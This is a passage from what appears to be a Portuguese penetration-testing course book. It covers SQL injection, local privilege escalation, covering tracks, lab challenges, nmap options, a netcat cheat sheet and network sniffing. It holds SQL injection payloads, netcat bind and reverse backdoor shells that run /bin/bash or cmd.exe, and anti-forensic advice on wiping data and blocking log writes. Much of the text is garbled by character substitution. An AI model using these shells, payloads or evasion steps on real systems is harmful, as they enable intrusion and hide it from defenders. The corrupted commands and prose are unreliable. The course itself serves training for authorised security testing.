9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,9,9AA CB#T user[data WDEBE
useridQ9K`9_A Q LV 33
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,a,9AA CB#T user[data WDEBE
useridQ9K`9_A Q 999 33
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,_,9AA CB#T user[data WDEBE
useridQ9K`9_A Q 9:9 33
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,V,9AA CB#T user[data WDEBE
useridQ9K`9_A Q 99K 33
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,K,9AA CB#T user[data WDEBE
useridQ9K`9_A Q 99a 33
9:9 A-1 ?.E*E<7 A.<==?.!).7B?first[name,`,9AA CB#T user[data WDEBE
useridQ9K`9_A Q 9:V I
A s%tima letra no existe. =sso significa que a resposta possui apenas `
caracteres.
Agora, basta substituir os valores encontrados por seu respectivo caractere na
tabela A.<==.
Besultado( Uosep&
-. Injection %la2s 3. St!in$ SQL Injection
.e inserirmos apenas o .mit&, ele nos mostra a c&amada e o resultado.
Ento, percebemos que podemos passar um valor fNEB1A1E=B#f para o
*A.7[-ATE, e ento, pegar todos os outros usurios(
.mit&h #B h9hQh9
-. Injection %la2s 3. 5ume!ic SQL Injection
Captulo 13 Vulnerabilidades em aplicaes web - 1!3
)asta usar o 8aros, fa+er a requisio e inserir ( #B 9Q9
Exemplo da c&amada( stationQ9:9 #B 9Q9
-. Injection %la2s 3. Sta$e6 3. St!in$ SQL Injection
Tais uma ve+, podemos resolver usando o 8aros(
emplo2ee[idQ99aXpasswordQh #B h9hQh9XactionQ*ogin
13.1. Contramedidas
Ciltrar os dados do usurio, permitindo somente o con$unto de caracteres
vlidos para o tipo de dado permitido.
<riptografar DA.Ds de sen&as.
!tili+ar ..* e D778..
-o criar blac;lists, mas sim w&itelists
5all input is evil .....6
Captulo 13 Vulnerabilidades em aplicaes web - 174
Captulo 14
Elevao de Privilgios Locais
14.1. Objetivos
Entender a elevao de privilgios
Procurar por possveis alvos
Entender as possibilidades de ataques locais
Entender a elevao de privilgios
Procurar por possveis alvos
Entender as possibilidades de ataques locais
Captulo 14 Elevao de Privil!ios "ocais - 17#
14.2. O que escalada de privilgios
Escalao ou elevao de privilgios basicamente significa adicionar mais
direitos ou permisses para um usurio. Em resumo, escalao de privilgios tenta
transformar um usurio normal em um usurio administrativo, usurio com maior
privilgios do que o usurio atual ou fazer com que um usurio participe de outros
grupos locais na mquina, com privilgio diferente do privilgio atual do atacante.
uando e!ploramos alguns servios, nem sempre conseguimos acesso root.
Esse o caso da e!plorao de um P"P #n$ect, que vimos anteriormente. %lguns
outros e!emplos podem ser usados, como e!plorao de um daemon que no
e!ecutado como root. Portanto, para conseguirmos controlar totalmente a mquina e
pode e!ecutar programas que precisam de privilgios de administrador, precisamos
aumentar nosso privilgio localmente.
Porm, a escalao de privilgios no est limitada apenas a aumentar os
privilgios dentro do sistema operacional, mas em qualquer sistema. Por e!emplo,
podemos ter um acesso limitado a um servidor de banco de dados &racle e
dese$amos nos tornar '(%, podendo assim acessar todas as tabelas e bases de dados
e!istentes no banco. & ato de tornar um usurio com mais privilgios tambm
c)amado de elevao de privilgios.
Exemplos de caso onde podemos realizar o ataque*
E!plorao de aplicao +eb que no e!ecutada como root,
E!plorao de servios que no so e!ecutados como root ou tem seu
privilgio -dropado.
E!plorao interna de um aplicativo, por e!emplo, um (anco de 'ados
&racle.
uando conseguimos uma sen)a local, sem privilgio administrativo.
E!.* (ruteforce em servidor ss)
Captulo 14 Elevao de Privil!ios "ocais - 17$
14.!. Possveis alvos
/ormalmente, aplicaes que possuem suidroot so as mais e!ploradas, alm
do pr0prio 1ernel do sistema, que e!ecutado com privilgios de super usurio.
%plicaes com suidroot uma aplicao com uma permisso especial
con)ecida por suid bit 2-s.3, que quando e!ecutada, ser e!ecutada com privilgios
do usurio root. Portanto, se conseguirmos e!plorar um arquivo que possui esse tipo
de permisso, provavelmente conseguiremos obter os privilgios do usurio root no
sistema, conseguindo assim controle total.
Para procurarmos por arquivos com suidroot na mquina, podemos e!ecutar o
comando abai!o*
# find / -perm -4000 > suidroot.txt
# less suidroot.txt
# find / -perm -04000 -exec ls -l {} \;
%lm de arquivos com suidroot, tambm podem ser e!ploradas fal)as no
1ernel do sistema, que quem cuida dos privilgios dos usurios, e
conseq4entemente, gan)aremos privilgios administrativos se a fal)a for e!plorada
com sucesso.
Portanto, ap0s identificarmos os arquivos que possuem esse tipo especial de
permisso, precisamos identificar fal)as de segurana nesses soft+ares. Essas fal)as
podem ser p5blicas, ou se$a, que possvel encontrar na internet, ou privada, que
pode ser comprada de um pesquisador ou empresa, ou at mesmo descoberta pelo
pr0prio atacante.
14.4. Passo a passo
6. &bter acesso local ao sistema
7. Procurar possveis alvos
8. 9entar e!plorar esses alvos
Captulo 14 Elevao de Privil!ios "ocais - 177
:. %cessar as informaes $ com privilgio maior do que o privilgio
anterior
14.". Laborat#rio
14.5.1. Desafio 1
6. %travs do P"P ;)ell, e!istente em uma das mquinas da rede de teste,
descobrir qual a verso do 1ernel da mquina alvo.
7. (uscar um e!ploit que possa conseguir o s)ell a partir de alguma
vulnerabilidade da verso atual do 1ernel que est sendo e!ecutado.
14.5.2. Desafio 2
6. % outra tarefa, e!plorar o arquivo com ;<#' root que se encontra em uma
das mquinas da rede de teste.
7. =rie um tro$an local no sistema que permitir com que o atacante obten)a
privilgios de root ap0s e!ecutar um interpretador de comando.
14.$. Co%tra&edidas
>anter o sistema atualizado.
'ei!ar com suidroot apenas os arquivos necessrios para o funcionamento do
sistema.
Captulo 1% &etasploit 'ramewor( - )$)
Captulo 2'
(paga%do )astros
2'.1. Objetivos
Entender a import?ncia de cobrir rastros
=on)ecer as tcnicas para encobrir suas aes
=on)ecer as ferramentas empregadas
Captulo )* +pa!ando ,astros - )$3
2'.2. Por que e%cobrir rastros
<m dos ob$etivos, em um teste de invaso, de utilizar tcnicas para encobrir
seus rastros e aes, para testar a eficcia e compet@ncia do time de resposta a
incidentes e percia forense caso os mesmos e!istam.
%s tcnicas para apagar rastros tambm so con)ecidas como -antiAforensic..
/o ) necessidade desse tipo de ao por parte de um pentester, caso queira
dei!ar as evid@ncias de e!plorao para posterior anlise por parte da equipe de 9i
da empresa contratante. /o entanto, caso ten)a como ob$etivo testar, tambm, a
capacidade da equipe de percia forense em investigar um caso de invaso,
interessante implementar os passos estudados nesse captulo.
2'.!. O que e%cobrir
Bogs de #';
&nde so armazenadas todas as evid@ncias de trfego anormal que ten)a
sido detectado na rede. #sso inclui desde o envio de arquivos maliciosos C
varreduras no sistema, em busca de informaes.
Bogs de Dire+all
Bogs que guardam as informaes filtradas por regras de fire+all.
/ormalmente os administradores, quando criam as regras de fire+all,
tem por )bito mandar armazenar em log tentativas de varreduras,
ataques de brute force e acesso sem autorizao a servios especficos.
%rquivos copiados no sistema
ualquer arquivo que ten)a sido copiado para o sistema, mesmo que
posteriormente se$a apagado, dei!a rastros que podem ser recuperados
com ferramentas especficas.
Captulo )* +pa!ando ,astros - )$4
%rquivos sendo e!ecutados, como bac1doors, por e!emplo
9odo programa ou arquivo em e!ecuo, recon)ecido pelo sistema
como um processo, e como um pode ser recuperado da mem0ria. E!istem
vrias formas de mascarar a e!ecuo de binrios, como por e!emplo um
root1it, que substitui binrios do sistemas por seus pr0prios, com
implementaes de c0digos maliciosos.
Bogs de comandos
9udo o que digitado no terminal armazenado no .bas)E)istorF do
usurio, por e!emplo. >esmo que se$a apagado, esse arquivo tambm
pode ser recuperado pela equipe de percia forense.
Bogs de sesso
uando efetuamos o login e autenticamos uma sesso vlida, tudo o que
ocorre na mesma armazenado em logs. %lgumas organizaes possuem,
inclusive, servidores e!clusivos para armazenamento e gerenciamento de
logs. /o Binu!, a maioria dos logs ficam armazenados em GvarGlog.
2'.4. *c%icas
;obreescrita de dados
uando apagamos algo em um disco, os dados so apenas marcados para
a deleo e no realmente apagados. &s dados marcados para a deleo,
so apagados apenas quando o sistema operacional utiliza os mesmos
blocos do disco para gravar novos dados, realizando a sobreescrita.
uanto mais vezes aquele mesmo setor for sobreescrito, mais difcil se
tornar a recuperao das informaes originalmente e!istentes. Esse
mtodo tambm con)ecido como -+ipe..
Preveno de criao de dados
H possvel, atravs da alterao de permisso em determinados arquivos,
que novos dados se$am inseridos no mesmo, por e!emplo. Podemos citar
o caso de arquivos de log, que se tiver sua permisso alterada para negar
Captulo )* +pa!ando ,astros - )$#
a possibilidade de escrita nos mesmo, nen)uma nova operao ser
armazenada, e o administrador do sistema no poder fazer a verificao
posterior para entender o que comprometeu o sistema ou a rede.
Encriptao de dados
% mel)or maneira de ocultar um arquivo, para que ningum ve$a seu
conte5do, ou consiga alterAlo, encriptandoAo, se$a atravs de uma
ferramenta especfica de encriptao, se$a ocultando o arquivo dentro de
outro, cu$a e!tenso e conte5do se$am diversos do original. Essa 5ltima
tcnica tambm pode ser c)amada de esteganografia.
'eleo segura de dados
Essa tcnica est diretamente vinculada com a primeira, de sobreescrita
de dados. 9odo e qualquer processo de deleo de arquivos, deve ser
cuidadoso, para que no se$a possvel a posterior recuperao das
informaes.
2'.". +erra&e%tas
9or 29)e &nion Iouter3
& 9or mantm o usurio livre de bisbil)oteiros, inclusive os do D(# e os
da =#%, e impede 2ou dificulta bastante3 qualquer tipo de rastreamento.
E e!atamente isso que o 9or oferece. Em vez de seguir uma rota direta
entre origem e destino, toda a informao transmitida por ele segue um
camin)o randJmico, que se altera permanentemente, atravs de diversos
servidores voluntrios que cobrem a rota. Dica difcil para qualquer
sistema saber quem voc@ , onde voc@ est ou de onde veio, embora se$a
possvel saber o que voc@ est levando consigo.
Kipe
Kipe um aplicativo que permite a deleo segura de dados, permitindo
que o usurio defina quais arquivos sero apagados e quantas vezes
aqueles blocos de disco, onde os arquivos apagados estavam alocados,
Captulo )* +pa!ando ,astros - )$$
sero sobreescritos. uanto mais vezes se sobreescreve, mais difcil a
posterior recuperao dos dados. =ada operao de sobreescrita deve ser
realizada at o final, para que o prorama se$a completamente eficaz.
;crub
&utra possibilidade para realizar o -data +iping., sobrescrevendo os
dados deletados com um padro determinado de informaes, que podem
ou no ser removidas no final da informao. ;e no forem removidas, o
perito forense encontrar apenas -li!o digital. nos blocos do disco, sem
qualquer coer@ncia.
;teg)ide
;teg)ide um programa de esteganografia que capaz de esconder
dados em vrios tipos de arquivos de udio e de imagem. %s frequ@ncias
de som e de cor, respectivamente, no so alteradas tornando o arquivo
resistente contra testes estatsticos de primeira ordem. Dormatos de
arquivos LPEM, (>P, K%N e %< so suportados para uso como arquivo de
OcoberturaO. /o ) restries sobre o formato dos dados secretos. &
algoritmo de criptografia padro o Ii$ndael com uma c)ave de 67P bits
de comprimento 2que %E; A %dvanced EncrFption ;tandard3. ;e voc@
no confia nesta combinao por qualquer razo, sintaAse C vontade para
escol)er outra combinao modoGalgoritmo.
2'.$. Co%tra&edidas
#nstalar "ost #'; em todas as mquinas
>anter as regras de fire+all e /et+or1 #'; bem configuradas
Merenciar logs em servidores pr0prios e bem protegidos
Merenciar permisses em servidores, utilizando ferramentas como o ;EBinu!,
por e!emplo
Captulo )* +pa!ando ,astros - )$7
Captulo 21 ,esa-ios. *estes de
/%vaso
21.1. Objetivo
E!plorar vulnerabilidades de uma aplicao KE( e escrever um pequeno
relat0rio sobre as mesmas. % aplicao um site din?mico de um (anco.
=onseguir acesso ao arquivo FouEgotEt)eEflag.t!t, e enviar uma mensagem
criptografada com a c)ave p5blica e!istente no email para o instrutor,
contendo os passos seguidos por voc@ para conseguir acesso ao arquivo.
Captulo )1 -esa.ios/ 0estes de 1nvaso - )$2
21.2. ,esa-io 1
/ mquina com o #P indicado pelo instrutor, ) um aplicao KE( simulando
o site de um banco. & ob$etivo do desafio e!plorar o m!imo possvel de
vulnerabilidades encontradas na aplicao, e acrescentar o resultado de suas
e!ploraes em seu relat0rio final.
Esse desafio pretende simular a aplicao KE( de uma empresa real, que
ten)a contratado voc@ para realizar um teste de invaso em seu sistema, entregando
um relat0rio final, completo, com todos os passos do processo.
21.!. ,esa-io 2
/esse desafio final, na rede alvo, que pertence C empresa que l)e contratou
para realizar o teste de invaso, voc@ precisa encontrar um arquivo c)amado
FouEgotEt)eEflag.t!t.
/esse arquivo, encontraAse o )as) >'Q de um outro arquivo, que pode estar
em qualquer outra mquina da rede. ;e tal arquivo for encontrado 2verificando seu
)as)3, voc@ precisa descobrir qual a sen)a que est nesse arquivo 2ele c0pia de um
s)ado+3.
%p0s descobrir a sen)a, necessrio que acesse uma das outras mquinas,
descobrindo a qual usurio a sen)a descoberta pertence.
=onseguindo acesso C mquina, que o alvo final, encontre o arquivo
-FouE+in.png., que ter o c0digo que deve ser enviado para o instrutor, na capa do
relat0rio.
"avero 67 arquivos -FouE+in.png. distribudos pela rede, ap0s descobrir o
c0digo e!istente em um deles, apague o mesmo, para evitar repetio de c0digos
entre os participantes do desafio.
"appF )ac1ingR
Captulo )1 -esa.ios/ 0estes de 1nvaso - )$%
(0E1O2
Captulo )1 -esa.ios/ 0estes de 1nvaso - )7*
Pri&eiro a%e3o
Op4es do 0&ap
TARGET SPECIFICATION
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.1!.".1#
1"."."$2%%.1$2%4
-iL <inputfilename>:
Inp&t from 'ist of hosts/networks
-iR <num hosts>:
Choose random targets
--exclude <host1[,host2][,host3],...>:
Exc'&de hosts/networks
--excludefile <exclude_file>:
Exc'&de 'ist from fi'e
HOST DISCOVERY
-sL: (ist )can $ simp'* 'ist targets to scan
-sP: Ping )can $ determining if host is on'ine
-P0: +reat a'' hosts as on'ine $$ skip host disco,er*
-PS[potlist]: +CP )-. disco,er* to gi,en ports
-P![potlist]: +CP /C0 disco,er* to gi,en ports
-P"[potlist]: 12P disco,er* to gi,en ports
-P#: IC3P echo re4&est disco,er* pro5es
-PP: timestamp re4&est disco,er* pro5es
-P$: netmask re4&est disco,er* pro5es
-%&-R: .e,er//'wa*s reso',e 2.) $defa&'t sometimes
--d%s-se'es <se'1[,se'2],...>:
)pecif* c&stom 2.) ser,ers
--s(ste)-d%s:
1se 6)7s 2.) reso',er
SCAN TECHNIQUES
-sS: +CP )-. )can
-s*: Connect )can
-s!: /C0 )can
-s+: 8indows )can
-s$: 3aimon scan
-s,: +CP .&'', scan
-s-: 9I. )can
-s.: :mas )can
--scanflags <flags>: C&stomi;e +CP scan f'ags
-s/ <0o)1ie host[:po1epot]>: Id'escan
-s2: IP protoco' scan
-1 <ftp el3( host>: 9+P 5o&nce scan
PORT SPECIFICATION AND SCAN ORDER
-p <pot 3%4es>: 6n'* scan specified ports
--: 9ast $ )can on'* ports 'isted in nmap$ser,ices fi'e<
-: )can ports consec&ti,e'* $ don7t randomi;e
SERVICE/VERSION DETECTION
-s5: Pro5e open ports determine ser,ice/,ersion info
--'esio%-i%te%sit( <le'el>:
)et from " ='ight< to 9 =tr* a'' pro5es<
--'esio%-li4ht:
(imit to most 'ike'* pro5es =intensit* 2<
--'esio%-3ll: +r* e,er* sing'e pro5e =intensit* 9<
--'esio%-t3ce:
)how detai'ed ,ersion scan acti,it* =for de5&gging<
Captulo )1 -esa.ios/ 0estes de 1nvaso - )71
6) 2E+EC+I6.
-O: Ena5'e 6) detection
--sscan-l!"!#:
(imit 6) detection to promising targets
--sscan-g$%ss:
>&ess 6) more aggressi,e'*
TI&ING AND PERFOR&ANCE
6ptions which take ?time@ are in mi''iseconds, &n'ess *o&
append 7s7 =seconds<, 7m7 =min&tes<, or 7h7 =ho&rs< to the
,a'&e =e.g. A"m<.
-*[0-6]: )et timing temp'ate =higher is faster<
--)i%-host4oup&)3x-host4oup <si0e>:
Para''e' host scan gro&p si;es
--)i%-p33llelis)&)3x-p33llelis) <ti)e>:
Pro5e para''e'i;ation
--)i%-tt-ti)eout&)3x-tt-ti)eout&i%iti3l-
tt-ti)eout <ti)e>:
)pecifies pro5e ro&nd trip time.
--)3x-eties <ties>:
Caps n&m5er of port scan pro5e retransmissions.
--host-ti)eout <ti)e>:
>i,e &p on target after this 'ong
--sc3%-del3(&--)3x-sc3%-del3( <ti)e>:
/dB&st de'a* 5etween pro5es
FIRE'A((/IDS EVASION AND SPOOFING
-f7 --)tu <'3l>:
fragment packets =optiona''* w/gi,en 3+1<
-8 <deco(1,deco(2[,$#],...>:
C'oak a scan with deco*s
-S </P_!ddess>:
)poof so&rce address
-e <if3ce>:
1se specified interface
-4&--souce-pot <pot%u)>:
1se gi,en port n&m5er
--d3t3-le%4th <%u)>:
/ppend random data to sent packets
--ttl <'3l>: )et IP time$to$'i,e fie'd
--spoof-)3c <)3c 3dd&pefix&'e%do %3)e>:
)poof *o&r 3/C address
--13dsu):
)end packets with a 5og&s +CP/12P checks&m
OUTPUT
-o, <file>: 6&tp&t scan in norma' format
-o. <file>: 6&tp&t scan in :3( format
-oS <file>: 6&tp&t scan in sC?rIpt kIddiA format
-o9 <file>: 6&tp&t scan in >repa5'e format
-o! <13se%3)e>: 6&tp&t in the three maBor formats at
once
-': Increase ,er5osit* 'e,e' =&se twice for more effect<
-d[le'el]: )et or increase de5&gging 'e,e' =1p to 9<
--p3c:et-t3ce:
)how a'' packets sent and recei,ed
--iflist:
Print host interfaces and ro&tes =for de5&gging<
--lo4-eos: (og errors/warnings to the norma'$format
o&tp&t fi'e
--3ppe%d-output:
/ppend to rather than c'o55er specified o&tp&t fi'es
--esu)e <file%3)e>: Des&me an a5orted scan
--st(lesheet <p3th&"RL>:
:)( st*'esheet to transform :3( o&tp&t to E+3(
--;e1x)l:
Deference st*'esheet from Insec&re.6rg
for more porta5'e :3(
--%o-st(lesheet: Pre,ent associating of :)(
st*'esheet w/:3( o&tp&t
&ISC
-<: Ena5'e IP, scanning
-!: Ena5'es 6) detection and Fersion detection
--d3t3di <di%3)e>:
)pecif* c&stom .map data fi'e 'ocation
--se%d-eth&--se%d-ip:
)end &sing raw ethernet frames or IP packets
--pi'ile4ed:
/ss&me that the &ser is f&''* pri,i'eged
-5: Print ,ersion n&m5er
-h: Print this he'p s&mmar* page.
E)A&P(ES
)imp'e
nmap -v -A scanme.nmap.org
nmap -v -sP 192.168.0.016 10.0.0.08
nmap -v -i! 10000 -P0 -p 80
nmap -v "s# scanme.nmap.org > file.t$t
Pop&'ar / P&5'ished s*ntax
%&AP -vv -A -s# -' -p- -P0 -o( target.$ml
))).$$$.***.+++
nmap -vv -s# -P0 "p- -n --min,hostgroup 100
--ma$,retries -
--ma$,rtt,timeout 12.0 --min,parallelism
100 -oA <output,file> <net,/loc0>
nmap -vv -p <open,port,list> -s1 -A -P0 -n
--min,hostgroup 100
--ma$,rtt,timeout 12.0 --min,parallelism
100 -oA <output,file> -i2
live3P2ist
Captulo )1 -esa.ios/ 0estes de 1nvaso - )7)
2egu%do (%e3o
Op4es do 0etCat
F$n*a"%n#als
9&ndamenta' .etcat C'ient:
4 nc 51arget3Pa66r7 5port7
Connect to an ar5itrar* port GportH at IP /ddress G+argetIPaddrH
9&ndamenta' .etcat (istener:
4 nc "l -p 52ocalPort7
Create a .etcat 'istener on ar5itrar* 'oca' port G(oca'PortH
Ioth the c'ient and 'istener take inp&t from )+2I. and send data recei,ed from the network to )+261+
F!l% T+ansf%+
P&sh a fi'e from c'ient to 'istener:
4 nc "l -p 52ocalPort7 > 5outfile7
(isten on G(oca'PortH, store res&'ts in Go&tfi'eH
4 nc ")- 51arget3Pa66r7 5port7 < 5infile7
P&sh Ginfi'eH to G+argetIPaddrH on GportH
P&'' fi'e from 'istener 5ack to c'ient:
4 nc "l -p 52ocalPort7 < 5infile7
(isten on G(oca'PortH, prep to p&sh Ginfi'eH
4 nc ")- 51arget3Pa66r7 5port7 > 5outfile7
Connect to G+argetIPaddrH on GportH and retrie,e Go&tfi'eH
TCP P+# Scann%+
Port scan an IP /ddress:
4 nc "v "n "+ ")1 51arget3Pa66r7 5start,port7-5en6,port7
/ttempt to connect to each port in a range from GendJportH to GstartJportH on IP /ddress G+argetIPaddrH r&nning
,er5ose'* =$, on (in&x, $ ,, on 8indows<, not reso',ing names =$n<, witho&t sending an* data =$;<, and waiting no more
Captulo )1 -esa.ios/ 0estes de 1nvaso - )73
than 1 second for a connection to occ&r =$w1<
+he randomi;e ports =$r< switch can 5e &sed to choose port n&m5ers random'* in the range
TCP ,ann%+ G+a--%+
>ra5 the 5anner of an* +CP ser,ice r&nning on an IP /ddress from (in&x:
4 echo 88 9 nc "v "n ")1 51arget3Pa66r7 5start,port7-5en6,port7
/ttempt to connect to each port in a range from GendJportH to GstartJportH on IP /ddress G+argetIPaddrH r&nning
,er5ose'* =$,<, not reso',ing names =$n<, and waiting no more than 1 second for a connection to occ&r =$w1<. +hen
send a 5'ank string to the open port and print o&t an* 5anner recei,ed in response
,ac.*+ S/%lls
(istening 5ackdoor she'' on (in&x:
4 nc "l "p 52ocalPort7 "e /in/ash
(istening 5ackdoor she'' on 8indows:
::;> nc "l "p 52ocalPort7 "e cm6.e$e
Create a she'' on 'oca' port G(oca'PortH that can then 5e accessed &sing a f&ndamenta' .etcat c'ient
De,erse 5ackdoor she'' on (in&x:
4 nc 5<our3Pa66r7 5port7 "e /in/ash
De,erse 5ackdoor she'' on 8indows:
::;> nc 5<our3Pa66r7 5port7 "e cm6.e$e
Create a re,erse she'' that wi'' attempt to connect to G-o&rIPaddrH on 'oca' port GportH. +his she'' can then 5e capt&red
&sing a f&ndamenta' nc 'istener
N%#ca# R%la0s n (!n$1
+o start, create a 9I96 =named pipe< ca''ed 5ackpipe:
4 c6 tmp
4 m0no6 /ac0pipe p
(istener$to$C'ient De'a*:
4 nc "l "p 52ocalPort7 0</ac0pipe 9 nc 51arget3Pa66r7 5port7 9 tee /ac0pipe
Create a re'a* that sends packets from the 'oca' port G(oca'PortH to a .etcat c'ient connected to
G+argetIPaddrH on port GportH
(istener$to$(istener De'a*:
4 nc "l "p 52ocalPort,17 0</ac0pipe 9 nc "l "p 52ocalPort,27 9 tee /ac0pipe
Create a re'a* that sends packets from an* connection on G(oca'PortJ1H to an* connection on G(oca'PortJ2H
C'ient$to$C'ient De'a*:
4 nc 5Previous=op3Pa66r7 5port7 0</ac0pipe 9 nc 5%e$t=op3Pa66r7 5port27 9 tee /ac0pipe
Create a re'a* that sends packets from the connection to GPre,io&sEopIPaddrH on port GportH to a .etcat c'ient
connected to G.extEopIPaddrH on port Gport2H
N%#ca# R%la0s n '!n*2s
+o start, enter a temporar* director* where we wi'' create .5at fi'es:
::;> c6 c:\temp
Captulo )1 -esa.ios/ 0estes de 1nvaso - )74
(istener$to$C'ient De'a*:
::;> echo nc 51arget3Pa66r7 5port7 > rela*./at
::;> nc "l "p 52ocalPort7 "e rela*./at
Create a re'a* that sends packets from the 'oca' port G(oca'PortH to a .etcat C'ient connected to G+argetIPaddrH on port
GportH
(istener$to$(istener De'a*:
::;> echo nc "l "p 52ocalPort,27 > rela*./at
::;> nc "l "p 52ocalPort,17 "e rela*./at
Create a re'a* that wi'' send packets from an* connection on G(oca'PortJ1H to an* connection on G(oca'PortJ2H
C'ient$to$C'ient De'a*:
::;> echo nc 5%e$t=op3Pa66r7 5port27 > rela*./at
::;> nc 5Previous=op3Pa66r7 5port7 "e rela*./at
Create a re'a* that wi'' send packets from the connection to GPre,io&sEopIPaddrH on port GportH to a .etcat C'ient
connected to G.extEopIPaddrH on port Gport2H
N%#ca# C""an* Flags
4 nc 5options7 51arget3Pa66r7 5port>s?7
+he G+argetIPaddrH is simp'* the other sideKs IP address or domain name. It is re4&ired in c'ient mode of co&rse
=5eca&se we ha,e to te'' the c'ient where to connect<, and is optiona' in 'isten mode.
$': (isten mode =defa&'t is c'ient mode<
$(: (isten harder =s&pported on'* on 8indows ,ersion of .etcat<. +his option makes .etcat a persistent 'istener which
starts 'istening again after a c'ient disconnects
$&: 12P mode =defa&'t is +CP<
$p: (oca' port =In 'isten mode, this is port 'istened on. In c'ient mode, this is so&rce port for a'' packets sent<
$e: Program to exec&te after connection occ&rs, connecting )+2I. and )+261+ to the program
$n: 2onKt perform 2.) 'ook&ps on names of machines on the other side
$;: Lero$I/6 mode =2onKt send an* data, B&st emit a packet witho&t pa*'oad<
$w.: +imeo&t for connects, waits for . seconds after c'os&re of )+2I.. / .etcat c'ient or 'istener with this option wi''
wait for . seconds to make a connection. If the connection doesnKt happen in that time, .etcat stops r&nning.
$,: Ie ,er5ose, printing o&t messages on )tandard Error, s&ch as when a connection occ&rs
$,,: Ie ,er* ,er5ose, printing e,en more detai's on )tandard Error
Captulo 14 Elevao de Privilgios Locais - 178
Captulo 15
Tcnicas de Sniffing
15.1. Objetivos
Entender ARP Poisoning
Entender os protocolos suscetveis a sniffer
Entender a diferena entre HUB e Switch
Entender DNS Pharing
Captulo 15 Tcnicas de ni!!ing - 17"
15.2. O que um sniffer
Sniffer ! ua ferraenta capa" de capturar todo o tr#fego de ua rede$
Assi sendo ! possvel capturar tr#fego alicioso de tro%ans e ta&! capturar as
senhas 'ue trafega se criptografia pela rede$
Ap(s ua invas)o ! cou 'ue u crac*er instale u sniffer na #'uina
atacada para visuali"ar as senhas 'ue trafega e &usca de ais acessos dentro da
rede$
E&ora se%a ais f#cil capturar pacotes e ua rede 'ue utili"a hu&s+
ta&! ! possvel reali"ar a captura de dados e redes 'ue utili"a switches$
A t!cnica de sniffer ve de tepos reotos+ 'uando houve a necessidade da
cria)o de ferraentas deste tipo para depura)o de pro&leas de rede$ Por!+ co
o tepo+ devido a fora 'ue as redes funcionava+ as pessoas coeara a usar
isto para fins aliciosos+ coo fa"er ,escuta, do tr#fego da rede e &usca de
infora-es sensveis coo e.ails+ contas de ftp+ telnet+ snp+ dentre outros$
15.!. Como surgiu o sniffer
A captura de tais dados era uito trivial e redes 'ue possua HUBs+ onde a
infora)o trafegada ! replicada por toda a rede$ /oo evolu)o+ surgira os
switchs+ onde a rede passou a tra&alhar de fora ais segentada+ encainhando
os pacotes apenas para a porta onde estava conectado a a'uina de destino+ co
isso dificultou o uso de ferraentas de sniffer$
0ogo+ co o apareciento dos switchs surgira ta&! diversas foras de
fa"er u 1&2.pass3+ ua delas consistia e 1floodar3 a ta&ela /A4 do switch$ Esta
ta&ela fica na #rea de e(ria onde o switch ant! o apeaento de P5R6A
78889 4A/$
:uando fa"eos o flood+ diversos switchs n)o consegue ais acrescentar
nenhua entrada nela passando a funcionar coo u HUB$
U e;eplo de ferraenta 'ue fa" /A4 <lood ! o acof+ 'ue ve no pacote
Captulo 15 Tcnicas de ni!!ing - 18#
do dsniff$ A&ai;o teos u e;eplo da sada dessa ferraenta=
twm:~# macof
a4:36:c2:56:c6:c7 ba:25:93:64:4e:71 0.0.0.0.64260 > 0.0.0.0.47849: S 1144120866:1144120866(0) win 512
2b:25:e2:3d:7b:dd a4:51:7:b:69:21 0.0.0.0.31889 > 0.0.0.0.27021: S 1667257178:1667257178(0) win 512
6a:d7:cf:76:f4:ff 9e:e6:2:2b:65:c5 0.0.0.0.4668 > 0.0.0.0.13237: S 1851270478:1851270478(0) win 512
2a:71:24:7d:c:a1 61:78:48:19:9c:f8 0.0.0.0.34945 > 0.0.0.0.36192: S 1173131637:1173131637(0) win 512
7d:28:c:47:6e:ba 89:5:c9:a:34:cc 0.0.0.0.33182 > 0.0.0.0.55401: S 1510011628:1510011628(0) win 512
e4:b8:7a:49:27:1b 17:ba:37:7e:0:14 0.0.0.0.61586 > 0.0.0.0.62152: S 1862396522:1862396522(0) win 512
a4:f5:7:47:ba:c7 d:36:38:6f:56:ce 0.0.0.0.60110 > 0.0.0.0.51417: S 315306550:315306550(0) win 512
9:8e:a6:6d:8a:b4 8f:bc:10:40:2:c 0.0.0.0.61280 > 0.0.0.0.33374: S 234562279:234562279(0) win 512
8d:0:2a:3a:41:33 d4:4b:a1:b:5:f3 0.0.0.0.6333 > 0.0.0.0.14291: S 1505448208:1505448208(0) win 512
5utra t!cnica 'ue surgiu para sniffar redes co switchs ! a t!cnica de ARP
Poison+ ou ARP Spoof$ :uando u coputador vai iniciar a counica)o co algu
outro host+ devido ao odo de funcionaento da pilha de protocolos+ ! preciso
tradu"ir seu endereo l(gico >?P@ no endereo fsico >4A/@ do seu destinat#rio+
o&serveos a&ai;o$
Shell1=
twm:~# a! "d 192.168.2.1# !in$ "c 1 192.168.2.1
%&'( 192.168.2.1 (192.168.2.1) 56(84) b)te* of data.
64 b)te* fom 192.168.2.1: icm!+*e,-1 tt.-64 time-7.36 m*
""" 192.168.2.1 !in$ *tati*tic* """
1 !ac/et* tan*mitted0 1 ecei1ed0 02 !ac/et .o**0 time 0m*
tt min3a1$3ma43mde1 - 7.36537.36537.36530.000 m*
twm:~#
Shell2=
twm:~# tc!d5m! "ni et60 6o*t 192.168.2.1
tc!d5m!: 1ebo*e o5t!5t *5!!e**ed0 5*e "1 o "11 fo f5.. !otoco. decode
.i*tenin$ on et600 .in/"t)!e 7'1089 (7t6enet)0 ca!t5e *i:e 96 b)te*
01:12:09.058214 a! w6o"6a* 192.168.2.1 te.. 192.168.2.103
01:12:09.060366 a! e!.) 192.168.2.1 i*"at 00:18:39:8d:aa:82
Captulo 15 Tcnicas de ni!!ing - 181
01:12:09.060389 &% 192.168.2.103 > 192.168.2.1: &;8% ec6o e,5e*t0 id
184410 *e, 10 .en$t6 64
01:12:09.062205 &% 192.168.2.1 > 192.168.2.103: &;8% ec6o e!.)0 id
184410 *e, 10 .en$t6 64
4 !ac/et* ca!t5ed
7 !ac/et* ecei1ed b) fi.te
0 !ac/et* do!!ed b) /ene.
twm:~#
/oo o&servaos+ para 'ue o host ABC$ADE$C$AFG consiga se counicar co o
